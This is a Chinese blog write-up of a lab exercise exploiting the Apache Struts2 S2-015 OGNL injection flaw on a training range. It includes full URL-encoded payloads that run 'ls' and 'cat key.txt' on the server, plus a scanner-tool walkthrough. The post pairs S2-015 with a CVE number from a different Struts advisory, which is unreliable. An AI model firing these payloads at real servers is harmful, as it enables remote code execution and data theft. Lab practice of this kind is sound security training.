Apache Struts2远程代码执行漏洞(S2-015)
复现的是墨者的Apache Struts2的靶场,用了两种方式,手工和工具检测~~
漏洞简介:
开源应用框架Apache Struts存在远程代码执行漏洞(CVE-2021-31805),攻击者可构造恶意的OGNL表达式触发漏洞,实现远程代码执行。
特征:
查看被测应用系统的源码,URL 接口地址以 “.action” “.do” 结尾或地址中包含“!”符号,或者在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下 的 jar 文件,若存在 struts2-core-2..**.jar 或 xwork-core- 2..**.jar 格式的 jar 文件,则需检测是否存在 Struts2 远程代码执行漏洞。
受影响版本为:
Apache Struts 2.0.0~2.5.29。
方法一:
1、在url后面添加${1+2}.action:
1 | 访问http://124.70.71.251:45344/${1+2}.action |
发现存在回显

2、发现key.txt,构造:
1 | /%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action |

3、访问key.txt:
1 | %24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20key.txt%27%29.getInputStream%28%29%29%2C%23q%7D.action |

方法二:
1、利用Struts2漏洞检测工具,输入url(我这个工具是要加index.action)
可以看到漏洞存在:

2、执行命令ls,看到有一个key.txt

3、使用命令cat key.txt获取key.txt的内容,得到flag

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 echozt!